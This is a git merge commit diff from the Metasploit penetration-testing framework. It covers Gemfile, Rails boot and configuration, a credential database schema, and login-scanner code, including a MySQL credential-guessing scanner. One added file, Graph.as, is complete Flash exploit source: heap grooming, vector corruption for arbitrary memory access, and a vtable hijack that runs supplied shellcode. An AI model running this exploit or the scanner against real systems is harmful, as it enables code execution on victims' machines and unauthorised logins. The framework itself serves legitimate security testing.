Merge branch 'staging/electro-release' into feature/MSP-9640/cred_creation

Conflicts:
	Gemfile.lock
bug/bundler_fix
David Maloney 2014-05-14 13:03:48 -05:00
commit 9471e597b6
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
151 changed files with 2346 additions and 933 deletions

3
.gitignore vendored
View File

@ -50,6 +50,9 @@ tags
*.opensdf
*.user
# Rails log directory
/log
# ignore release/debug folders for exploits
external/source/exploits/**/Debug
external/source/exploits/**/Release

37
Gemfile
View File

@ -12,28 +12,28 @@ gem 'json'
gem 'msgpack'
# Needed by anemone crawler
gem 'nokogiri'
# Needed by db.rb and Msf::Exploit::Capture
gem 'packetfu', '1.1.9'
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
gem 'railties'
# Needed by JSObfu
gem 'rkelly-remix', '0.0.6'
# Needed by anemone crawler
gem 'robots'
# Needed by db.rb and Msf::Exploit::Capture
gem 'packetfu', '1.1.9'
# required for Time::TZInfo in ActiveSupport
gem 'tzinfo'
group :db do
# Needed for Msf::DbManager
gem 'activerecord', '>= 3.0.0', '< 4.0.0'
# Metasploit::Creential database models
gem 'metasploit-credential', git: 'github-metasploit-credential:rapid7/metasploit-credential.git', tag: 'v0.1.2-metasploit-credential'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.17.0'
gem 'metasploit_data_models', '~> 0.17.1'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end
group :pcap do
gem 'network_interface', '~> 0.0.1'
# For sniffer and raw socket modules
gem 'pcaprub'
end
group :development do
# Markdown formatting for yard
gem 'redcarpet'
@ -46,19 +46,26 @@ group :development, :test do
# Version 4.1.0 or newer is needed to support generate calls without the
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# automatically include factories from spec/factories
gem 'factory_girl_rails'
# Make rspec output shorter and more useful
gem 'fivemat', '1.2.1'
# running documentation generation tasks and rspec tasks
gem 'rake', '>= 10.0.0'
# testing framework
gem 'rspec', '>= 2.12'
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
# environment is development
gem 'rspec-rails'
end
group :pcap do
gem 'network_interface', '~> 0.0.1'
# For sniffer and raw socket modules
gem 'pcaprub'
end
group :test do
# Removes records from database created during tests. Can't use rspec-rails'
# transactional fixtures because multiple connections are in use so
# transactions won't work.
gem 'database_cleaner'
# testing framework
gem 'rspec', '>= 2.12'
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.

View File

@ -11,6 +11,16 @@ GIT
GEM
remote: https://rubygems.org/
specs:
actionpack (3.2.17)
activemodel (= 3.2.17)
activesupport (= 3.2.17)
builder (~> 3.0.0)
erubis (~> 2.7.0)
journey (~> 1.0.4)
rack (~> 1.4.5)
rack-cache (~> 1.2)
rack-test (~> 0.6.1)
sprockets (~> 2.2.1)
activemodel (3.2.17)
activesupport (= 3.2.17)
builder (~> 3.0.0)
@ -25,17 +35,22 @@ GEM
arel (3.0.3)
bcrypt (3.1.7)
builder (3.0.4)
database_cleaner (1.2.0)
diff-lcs (1.2.5)
erubis (2.7.0)
factory_girl (4.4.0)
activesupport (>= 3.0.0)
factory_girl_rails (4.4.1)
factory_girl (~> 4.4.0)
railties (>= 3.0.0)
fivemat (1.2.1)
hike (1.2.3)
i18n (0.6.9)
journey (1.0.4)
json (1.8.1)
metasploit-concern (0.0.4)
activesupport (~> 3.0, >= 3.0.0)
metasploit_data_models (0.17.0)
activerecord (>= 3.2.13)
metasploit_data_models (0.17.1)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
pg
mini_portile (0.5.3)
@ -47,7 +62,23 @@ GEM
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.17.1)
rack (1.4.5)
rack-cache (1.2)
rack (>= 0.4)
rack-ssl (1.3.4)
rack
rack-test (0.6.2)
rack (>= 1.0)
railties (3.2.17)
actionpack (= 3.2.17)
activesupport (= 3.2.17)
rack-ssl (~> 1.3.2)
rake (>= 0.8.7)
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
rake (10.3.1)
rdoc (3.12.2)
json (~> 1.4)
redcarpet (3.1.1)
rkelly-remix (0.0.6)
robots (0.10.1)
@ -59,6 +90,14 @@ GEM
rspec-expectations (2.14.5)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.14.6)
rspec-rails (2.14.2)
actionpack (>= 3.0)
activemodel (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 2.14.0)
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
rubyntlm (0.4.0)
shoulda-matchers (2.6.0)
activesupport (>= 3.0.0)
@ -66,6 +105,13 @@ GEM
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
sprockets (2.2.2)
hike (~> 1.2)
multi_json (~> 1.0)
rack (~> 1.0)
tilt (~> 1.1, != 1.3.0)
thor (0.19.1)
tilt (1.4.1)
timecop (0.7.1)
tzinfo (0.3.39)
yard (0.8.7.4)
@ -77,24 +123,27 @@ DEPENDENCIES
activerecord (>= 3.0.0, < 4.0.0)
activesupport (>= 3.0.0, < 4.0.0)
bcrypt
database_cleaner
factory_girl (>= 4.1.0)
factory_girl_rails
fivemat (= 1.2.1)
json
metasploit-credential!
metasploit_data_models (~> 0.17.0)
metasploit_data_models (~> 0.17.1)
msgpack
network_interface (~> 0.0.1)
nokogiri
packetfu (= 1.1.9)
pcaprub
pg (>= 0.11)
railties
rake (>= 10.0.0)
redcarpet
rkelly-remix (= 0.0.6)
robots
rspec (>= 2.12)
rspec-rails
shoulda-matchers
simplecov (= 0.5.4)
timecop
tzinfo
yard

View File

@ -1,81 +1,4 @@
require 'bundler/setup'
#!/usr/bin/env rake
require File.expand_path('../config/application', __FILE__)
pathname = Pathname.new(__FILE__)
root = pathname.parent
# add metasploit-framework/lib to load paths so rake files can just require
# files normally without having to use __FILE__ and recalculating root and the
# path to lib
lib_pathname = root.join('lib')
$LOAD_PATH.unshift(lib_pathname.to_s)
#
# load rake files like a rails engine
#
rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path
Dir.glob(rakefile_glob) do |rakefile|
# Skip database tasks, will load them later if MDM is present
next if rakefile =~ /database\.rake$/
load rakefile
end
print_without = false
begin
require 'rspec/core/rake_task'
rescue LoadError
puts "rspec not in bundle, so can't set up spec tasks. " \
"To run specs ensure to install the development and test groups."
print_without = true
else
RSpec::Core::RakeTask.new(:spec => 'db:test:prepare')
task :default => :spec
end
# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if
# YARD is not defined when yard.rake is loaded.
begin
require 'yard'
rescue LoadError
puts "yard not in bundle, so can't set up yard tasks. " \
"To generate documentation ensure to install the development group."
print_without = true
end
begin
require 'metasploit_data_models'
rescue LoadError
puts "metasploit_data_models not in bundle, so can't set up db tasks. " \
"To run database tasks, ensure to install the db bundler group."
print_without = true
else
load 'lib/tasks/database.rake'
metasploit_data_models_task_glob = MetasploitDataModels.root.join(
'lib',
'tasks',
'**',
'*.rake'
).to_s
# include tasks from metasplioit_data_models, such as `rake yard`.
# metasploit-framework specific yard options are in .yardopts
Dir.glob(metasploit_data_models_task_glob) do |path|
load path
end
end
if print_without
puts "Bundle currently installed " \
"'--without #{Bundler.settings.without.join(' ')}'."
puts "To clear the without option do `bundle install --without ''` " \
"(the --without flag with an empty string) or " \
"`rm -rf .bundle` to remove the .bundle/config manually and " \
"then `bundle install`"
end
Metasploit::Framework::Application.load_tasks

42
config/application.rb Normal file
View File

@ -0,0 +1,42 @@
require 'rails'
require File.expand_path('../boot', __FILE__)
# only the parts of 'rails/all' that metasploit-framework actually uses
begin
require 'active_record/railtie'
rescue LoadError
warn "activerecord not in the bundle, so database support will be disabled."
warn "Bundle installed '--without #{Bundler.settings.without.join(' ')}'"
warn "To clear the without option do `bundle install --without ''` " \
"(the --without flag with an empty string) or " \
"`rm -rf .bundle` to remove the .bundle/config manually and " \
"then `bundle install`"
end
all_environments = [
:development,
:production,
:test
]
Bundler.require(
*Rails.groups(
db: all_environments,
pcap: all_environments
)
)
require 'msf/base/config'
module Metasploit
module Framework
class Application < Rails::Application
user_config_root = Pathname.new(Msf::Config.get_config_root)
user_database_yaml = user_config_root.join('database.yml')
if user_database_yaml.exist?
config.paths['config/database'] = [user_database_yaml.to_path]
end
end
end
end

33
config/boot.rb Normal file
View File

@ -0,0 +1,33 @@
require 'pathname'
require 'rubygems'
bundle_gemfile = ENV['BUNDLE_GEMFILE']
config_pathname = Pathname.new(__FILE__).expand_path.parent
root = config_pathname.parent
if bundle_gemfile
bundle_gemfile = Pathname.new(bundle_gemfile)
else
bundle_gemfile = root.join('Gemfile')
end
if bundle_gemfile.exist?
ENV['BUNDLE_GEMFILE'] = bundle_gemfile.to_path
begin
require 'bundler'
rescue LoadError
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
$stderr.puts " $ gem install bundler"
exit(0)
end
end
Bundler.setup
lib_path = root.join('lib').to_path
unless $LOAD_PATH.include? lib_path
$LOAD_PATH.unshift lib_path
end

5
config/environment.rb Normal file
View File

@ -0,0 +1,5 @@
# Load the rails application
require File.expand_path('../application', __FILE__)
# Initialize the rails application
Metasploit::Framework::Application.initialize!

Binary file not shown.

0
db/migrate/.git-keep Normal file
View File

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20130717150737) do
ActiveRecord::Schema.define(:version => 20140417140933) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -167,6 +167,97 @@ ActiveRecord::Schema.define(:version => 20130717150737) do
t.binary "prefs"
end
create_table "metasploit_credential_cores", :force => true do |t|
t.integer "origin_id", :null => false
t.string "origin_type", :null => false
t.integer "private_id"
t.integer "public_id"
t.integer "realm_id"
t.integer "workspace_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_cores", ["origin_type", "origin_id"], :name => "index_metasploit_credential_cores_on_origin_type_and_origin_id"
add_index "metasploit_credential_cores", ["private_id"], :name => "index_metasploit_credential_cores_on_private_id"
add_index "metasploit_credential_cores", ["public_id"], :name => "index_metasploit_credential_cores_on_public_id"
add_index "metasploit_credential_cores", ["realm_id"], :name => "index_metasploit_credential_cores_on_realm_id"
add_index "metasploit_credential_cores", ["workspace_id"], :name => "index_metasploit_credential_cores_on_workspace_id"
create_table "metasploit_credential_logins", :force => true do |t|
t.integer "core_id", :null => false
t.integer "service_id", :null => false
t.string "access_level"
t.string "status", :null => false
t.datetime "last_attempted_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true
add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true
create_table "metasploit_credential_origin_imports", :force => true do |t|
t.text "filename", :null => false
t.integer "task_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_origin_imports", ["task_id"], :name => "index_metasploit_credential_origin_imports_on_task_id"
create_table "metasploit_credential_origin_manuals", :force => true do |t|
t.integer "user_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_origin_manuals", ["user_id"], :name => "index_metasploit_credential_origin_manuals_on_user_id"
create_table "metasploit_credential_origin_services", :force => true do |t|
t.integer "service_id", :null => false
t.text "module_full_name", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_origin_services", ["service_id", "module_full_name"], :name => "unique_metasploit_credential_origin_services", :unique => true
create_table "metasploit_credential_origin_sessions", :force => true do |t|
t.text "post_reference_name", :null => false
t.integer "session_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_origin_sessions", ["session_id", "post_reference_name"], :name => "unique_metasploit_credential_origin_sessions", :unique => true
create_table "metasploit_credential_privates", :force => true do |t|
t.string "type", :null => false
t.text "data", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true
create_table "metasploit_credential_publics", :force => true do |t|
t.string "username", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_publics", ["username"], :name => "index_metasploit_credential_publics_on_username", :unique => true
create_table "metasploit_credential_realms", :force => true do |t|
t.string "key", :null => false
t.string "value", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "metasploit_credential_realms", ["key", "value"], :name => "index_metasploit_credential_realms_on_key_and_value", :unique => true
create_table "mod_refs", :force => true do |t|
t.string "module", :limit => 1024
t.string "mtype", :limit => 128

View File

@ -0,0 +1,411 @@
//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
package {
import flash.display.Sprite;
import flash.utils.ByteArray;
import flash.display.Shader;
import flash.system.Capabilities;
import flash.net.FileReference;
import flash.utils.Endian;
import __AS3__.vec.Vector;
import __AS3__.vec.*;
import flash.display.LoaderInfo;
public class Graph extends Sprite {
static var counter:uint = 0;
protected var Shad:Class;
var shellcode_byte_array:ByteArray;
var aaab:ByteArray;
var shellcodeObj:Array;
public function Graph(){
var tweaked_vector:* = undefined;
var tweaked_vector_address:* = undefined;
var shader:Shader;
var flash_memory_protect:Array;
var code_vectors:Array;
var address_code_vector:uint;
var address_shellcode_byte_array:uint;
this.Shad = Graph_Shad;
super();
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
var i:* = 0;
var j:* = 0;
// Just one try
counter++;
if (counter > 1)
{
return;
};
// Memory massage
var array_length:uint = 0x10000;
var vector_size:uint = 34;
var array:Array = new Array();
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(1);
i++;
};
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(vector_size);
i++;
};
i = 0;
while (i < array_length)
{
array[i].length = 0;
i++;
};
i = 0x0200;
while (i < array_length)
{
array[(i - (2 * (j % 2)))].length = 0x0100;
i = (i + 28);
j++;
};
// Overflow and Search for corrupted vector
var corrupted_vector_idx:uint;
var shadba:ByteArray = (new this.Shad() as ByteArray);
shadba.position = 232;
if (Capabilities.os.indexOf("Windows 8") >= 0)
{
shadba.writeUnsignedInt(2472);
};
shadba.position = 0;
while (1)
{
shader = new Shader();
try
{
shader.byteCode = (new this.Shad() as ByteArray);
} catch(e)
{
};
i = 0;
while (i < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i;
break;
};
i++;
};
if (i != array_length)
{
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
};
array.push(new Vector.<int>(vector_size));
};
// Tweak the vector following the corrupted one
array[corrupted_vector_idx][vector_size] = 0x40000001;
tweaked_vector = array[(corrupted_vector_idx + 1)];
// repair the corrupted vector by restoring its
// vector object pointer and length
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr;
tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size;
i = 0;
var val:uint;
while (true)
{
val = tweaked_vector[(0x40000000 - i)];
if (val == 0x90001B) break;
i++;
};
tweaked_vector_address = 0;
if (tweaked_vector[((0x40000000 - i) - 4)] > 0)
{
tweaked_vector[4] = 0x41414141;
tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8);
};
// More memory massage, fill an array of FileReference objects
var file_reference_array:Array = new Array();
i = 0;
while (i < 64)
{
file_reference_array[i] = new FileReference();
i++;
};
var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address);
var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20));
var do_it:Boolean = true;
var memory_protect_ptr:uint;
var aaaq:uint;
if (do_it)
{
flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address);
memory_protect_ptr = flash_memory_protect[0];
aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment
code_vectors = this.createCodeVectors(0x45454545, 0x90909090);
address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545);
this.fillCodeVectors(code_vectors);
tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call
tweaked_vector[4] = aaaq;
tweaked_vector[0] = 0x1000; // Length
tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address
// 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=????????
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8));
// 1) Set memory as executable
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// 2) Execute shellcode
tweaked_vector[7] = address_code_vector;
i = 0;
while (i < 64)
{
file_reference_array[i].cancel();
i++;
};
// Restore FileReference cancel function pointer
// Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads
this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address);
};
}
// returns the integer at memory address
// vector: vector with tweaked length
// vector_address: vector's memory address
// address: memory address to read
function read_memory(vector:Vector.<int>, vector_address:uint, address:uint):uint{
if (address >= vector_address)
{
return (vector[((address - vector_address) / 4)]);
};
return (vector[(0x40000000 - ((vector_address - address) / 4))]);
}
function write_memory(vector:Vector.<int>, vector_address:uint, address:uint, value:uint){
if (address >= vector_address)
{
vector[((address - vector_address) / 4)] = value;
} else
{
vector[(0x40000000 - ((vector_address - address) / 4))] = value;
};
}
function findFlashMemoryProtect(vector:*, vector_address:*):Array{
var content:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
var index:uint;
var memory_protect_ptr:uint;
var _local_6:uint;
if (allocation >= vector_address)
{
index = ((allocation - vector_address) / 4);
} else
{
index = (0x40000000 - ((vector_address - allocation) / 4));
};
//push 1 ; 6a 01
//push dword ptr [eax-8] ; ff 70 f8
//push dword ptr [eax-4] ; ff 70 fc
//call sub_1059DD00 // Will do VirtualProtect
var offset:uint;
while (1)
{
index--;
content = vector[index];
if (content == 0xfff870ff)
{
offset = 2;
break;
};
if (content == 0xf870ff01)
{
offset = 1;
break;
};
if (content == 0x70ff016a)
{
content = vector[(index + 1)];
if (content == 0xfc70fff8)
{
offset = 0;
break;
};
} else
{
if (content == 0x70fff870)
{
offset = 3;
break;
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) - offset);
index--;
var content_before:uint = vector[index];
if (content_before == 0x16a0424)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x6a042444)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0x424448b)
{
return ([memory_protect_ptr, _local_6]);
};
if (content_before == 0xff016a04)
{
return ([memory_protect_ptr, _local_6]);
};
_local_6 = (memory_protect_ptr - 6);
while (1)
{
index--;
content = vector[index];
if (content == 0x850ff50)
{
if (uint(vector[(index + 1)]) == 0x5e0cc483)
{
offset = 0;
break;
};
};
content = (content & 0xFFFFFF00);
if (content == 0x50FF5000)
{
if (uint(vector[(index + 1)]) == 0xcc48308)
{
offset = 1;
break;
};
};
content = (content & 0xFFFF0000);
if (content == 0xFF500000)
{
if (uint(vector[(index + 1)]) == 0xc4830850)
{
if (uint(vector[(index + 2)]) == 0xc35d5e0c)
{
offset = 2;
break;
};
};
};
content = (content & 0xFF000000);
if (content == 0x50000000)
{
if (uint(vector[(index + 1)]) == 0x830850ff)
{
if (uint(vector[(index + 2)]) == 0x5d5e0cc4)
{
offset = 3;
break;
};
};
};
};
memory_protect_ptr = ((vector_address + (4 * index)) + offset);
return ([memory_protect_ptr, _local_6]);
}
// vector: vector with tweaked length
// address: memory address of vector data
function find_file_ref_vtable(vector:*, address:*):uint{
var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c));
// Find an allocation of size 0x2a0
var allocation_size:uint;
while (true)
{
allocation_size = this.read_memory(vector, address, (allocation + 8));
if (allocation_size == 0x2a0) break;
if (allocation_size < 0x2a0)
{
allocation = (allocation + 0x24); // next allocation
} else
{
allocation = (allocation - 0x24); // prior allocation
};
};
var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break;
if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break;
allocation_contents = this.read_memory(vector, address, (allocation_contents + 8));
};
return (allocation_contents);
}
// Returns pointer to the nops in one of the allocated code vectors
function findCodeVector(vector:*, vector_address:*, mark:*):uint{
var allocation_size:uint;
var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c));
while (true)
{
allocation_size = this.read_memory(vector, vector_address, (allocation + 8));
if (allocation_size == 0x7f0) break; // Code Vector found
allocation = (allocation + 0x24); // next allocation
};
// allocation contents should be the vector code, search for the mark 0x45454545
var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc));
while (true)
{
if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break;
allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation
};
return ((allocation_contents + 0x2c));
}
// create 8 vectors of size 0x7f0 inside an array to place shellcode
function createCodeVectors(mark:uint, nops:uint){
var code_vectors_array:Array = new Array();
var i:* = 0;
while (i < 8)
{
code_vectors_array[i] = new Vector.<uint>(((0x7f0 / 4) - 8)); // new Vector.<uint>(0x1f4)
code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4
code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4
i++;
};
return (code_vectors_array);
}
// Fill with the code vectors with the shellcode
function fillCodeVectors(array_code_vectors:Array) {
var i:uint = 0;
var sh:uint=1;
while(i < array_code_vectors.length)
{
for(var u:String in shellcodeObj)
{
array_code_vectors[i][sh++] = Number(shellcodeObj[u]);
}
i++;
sh = 1;
}
}
}
}//package

View File

@ -0,0 +1,10 @@
package
{
import mx.core.ByteArrayAsset;
[Embed(source="binary_data", mimeType="application/octet-stream")]
public class Graph_Shad extends ByteArrayAsset
{
}
}

Binary file not shown.

View File

@ -378,6 +378,10 @@ module Kernel #:nodoc:all
# This method handles the loading of FASTLIB archives
#
def fastlib_require(name)
if name.respond_to? :to_path
name = name.to_path
end
name = name + ".rb" if not name =~ /\.rb$/
return false if fastlib_already_loaded?(name)
return false if fastlib_already_tried?(name)

View File

@ -5,30 +5,6 @@ module Metasploit
# works in compatible manner with activerecord's rake tasks and other
# railties.
module Framework
# Returns the environment for {Metasploit::Framework}. Checks
# `METASPLOIT_FRAMEWORK_ENV` environment variable for value. Defaults to
# `'development'` if `METASPLOIT_FRAMEWORK_ENV` is not set in the
# environment variables.
#
# {env} is a ActiveSupport::StringInquirer like `Rails.env` so it can be
# queried for its value.
#
# @example check if environment is development
# if Metasploit::Framework.env.development?
# # runs only when in development
# end
#
# @return [ActiveSupport::StringInquirer] the environment name
def self.env
unless instance_variable_defined? :@env
name = ENV['METASPLOIT_FRAMEWORK_ENV']
name ||= 'development'
@env = ActiveSupport::StringInquirer.new(name)
end
@env
end
# Returns the root of the metasploit-framework project. Use in place of
# `Rails.root`.
#

View File

@ -8,7 +8,7 @@ module Metasploit
end
def self.configurations_pathname
Metasploit::Framework.root.join('config', 'database.yml')
Metasploit::Framework::Application.paths['config/database'].first
end
end
end

View File

@ -18,8 +18,8 @@ module Metasploit
# @!attribute cred_details
# @return [Array] An array of Credential objects
attr_accessor :cred_details
# @!attribute successes
# @return [Array] Array of of result objects that failed
# @!attribute failures
# @return [Array<Result>] Array of failing {Result results}
attr_accessor :failures
# @!attribute host
# @return [String] The IP address or hostname to connect to
@ -34,7 +34,7 @@ module Metasploit
# @return [Boolean] Whether the scanner should stop when it has found one working Credential
attr_accessor :stop_on_success
# @!attribute successes
# @return [Array] Array of results that successfully logged in
# @return [Array<Result>] Array of successful {Result results}
attr_accessor :successes
validates :connection_timeout,
@ -68,18 +68,31 @@ module Metasploit
attributes.each do |attribute, value|
public_send("#{attribute}=", value)
end
self.successes= []
self.failures=[]
self.successes = []
self.failures = []
set_sane_defaults
end
# This method runs all the login attempts against the target.
# It calls {attempt_login} once for each credential.
# Results are stored in {successes} and {failures}
# @return [void] There is no valid return value for this method
# @yield [result]
# @yieldparam result [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object for the attempt
# Attempt a single login against the service with the given
# {Credential credential}.
#
# @param credential [Credential] The credential object to attmpt to
# login with
# @return [Result] A Result object indicating success or failure
# @abstract Protocol-specific scanners must implement this for their
# respective protocols
def attempt_login(credential)
raise NotImplementedError
end
# Attempt to login with every {Credential credential} in
# {#cred_details}, by calling {#attempt_login} once for each.
#
# All {Result results} are stored in {#successes} and {#failures}.
#
# @yieldparam result [Result] The {Result} object for each attempt
# @yieldreturn [void]
# @return [void]
def scan!
valid!
@ -108,13 +121,18 @@ module Metasploit
end
end
end
nil
end
# @raise [Metasploit::Framework::LoginScanner::Invalid] if the attributes are not valid on the scanner
# Raise an exception if this scanner's attributes are not valid.
#
# @raise [Invalid] if the attributes are not valid on this scanner
# @return [void]
def valid!
unless valid?
raise Metasploit::Framework::LoginScanner::Invalid.new(self)
end
nil
end
@ -124,9 +142,7 @@ module Metasploit
# of a valid type and is resolveable.
# @return [void]
def host_address_must_be_valid
unless host.kind_of? String
errors.add(:host, "must be a string")
end
if host.kind_of? String
begin
resolved_host = ::Rex::Socket.getaddress(host, true)
if host =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
@ -134,15 +150,20 @@ module Metasploit
errors.add(:host, "could not be resolved")
end
end
host = resolved_host
self.host = resolved_host
rescue
errors.add(:host, "could not be resolved")
end
else
errors.add(:host, "must be a string")
end
end
# This is a placeholder method. Each LoginScanner class
# will override this with any sane defaults specific to
# its own behaviour.
# @abstract
# @return [void]
def set_sane_defaults
self.connection_timeout = 30 if self.connection_timeout.nil?
end
@ -166,11 +187,10 @@ module Metasploit
end
end
end
end
end
end
end

View File

@ -1,14 +1,18 @@
require 'active_model'
module Metasploit
module Framework
module LoginScanner
# This class provides an in-memory representation of a conceptual Credential
#
# It contains the public, private, and realm if any.
class Credential
include ActiveModel::Validations
# @!attribute paired
# @return [Boolean] Whether BOTH a public and private are required
# (defaults to `true`)
attr_accessor :paired
# @!attribute private
# The private credential component (e.g. username)
@ -44,6 +48,8 @@ module Metasploit
attributes.each do |attribute, value|
public_send("#{attribute}=", value)
end
self.paired = true if self.paired.nil?
end
end

View File

@ -27,9 +27,7 @@ module Metasploit
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
# (see Base#attempt_login)
def attempt_login(credential)
result_options = {
credential: credential
@ -55,8 +53,6 @@ module Metasploit
private
# This method sets the sane defaults for things
# like timeouts and TCP evasion options
def set_sane_defaults

View File

@ -49,6 +49,7 @@ module Metasploit
self.send_lm = true if self.send_lm.nil?
self.send_ntlm = true if self.send_ntlm.nil?
self.send_spn = true if self.send_spn.nil?
self.use_lmkey = false if self.use_lmkey.nil?
self.use_ntlm2_session = true if self.use_ntlm2_session.nil?
self.use_ntlmv2 = true if self.use_ntlmv2.nil?
self.windows_authentication = false if self.windows_authentication.nil?

View File

@ -0,0 +1,83 @@
require 'metasploit/framework/tcp/client'
require 'rbmysql'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with MySQL Database servers.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class MySQL
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
def attempt_login(credential)
result_options = {
credential: credential
}
# manage our behind the scenes socket. Close any existing one and open a new one
disconnect if self.sock
connect
begin
::RbMysql.connect({
:host => host,
:port => port,
:read_timeout => 300,
:write_timeout => 300,
:socket => sock,
:user => credential.public,
:password => credential.private,
:db => ''
})
rescue Errno::ECONNREFUSED
result_options.merge!({
status: :connection_error,
proof: "Connection refused"
})
rescue RbMysql::ClientError
result_options.merge!({
status: :connection_error,
proof: "Connection timeout"
})
rescue Errno::ETIMEDOUT
result_options.merge!({
status: :connection_error,
proof: "Operation Timed out"
})
rescue RbMysql::HostNotPrivileged
result_options.merge!({
status: :connection_error,
proof: "Unable to login from this host due to policy"
})
rescue RbMysql::AccessDeniedError
result_options.merge!({
status: :failed,
proof: "Access Denied"
})
end
unless result_options[:status]
result_options[:status] = :success
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
# This method sets the sane defaults for things
# like timeouts and TCP evasion options
def set_sane_defaults
self.max_send_size = 0 if self.max_send_size.nil?
self.send_delay = 0 if self.send_delay.nil?
end
end
end
end
end

View File

@ -12,23 +12,27 @@ module Metasploit
included do
# @!attribute send_lm
# @return [Boolean] Whether or not to always send the LANMAN response(except if using NTLM2 Session)
# @return [Boolean] Whether to always send the LANMAN response(except if using NTLM2 Session)
attr_accessor :send_lm
# @!attribute send_ntlm
# @return [Boolean] Whether or not to use NTLM responses
# @return [Boolean] Whether to use NTLM responses
attr_accessor :send_ntlm
# @!attribute send_spn
# @return [Boolean] Whether or not to support SPN for newer Windows OSes
# @return [Boolean] Whether to support SPN for newer Windows OSes
attr_accessor :send_spn
# @!attribute use_lmkey
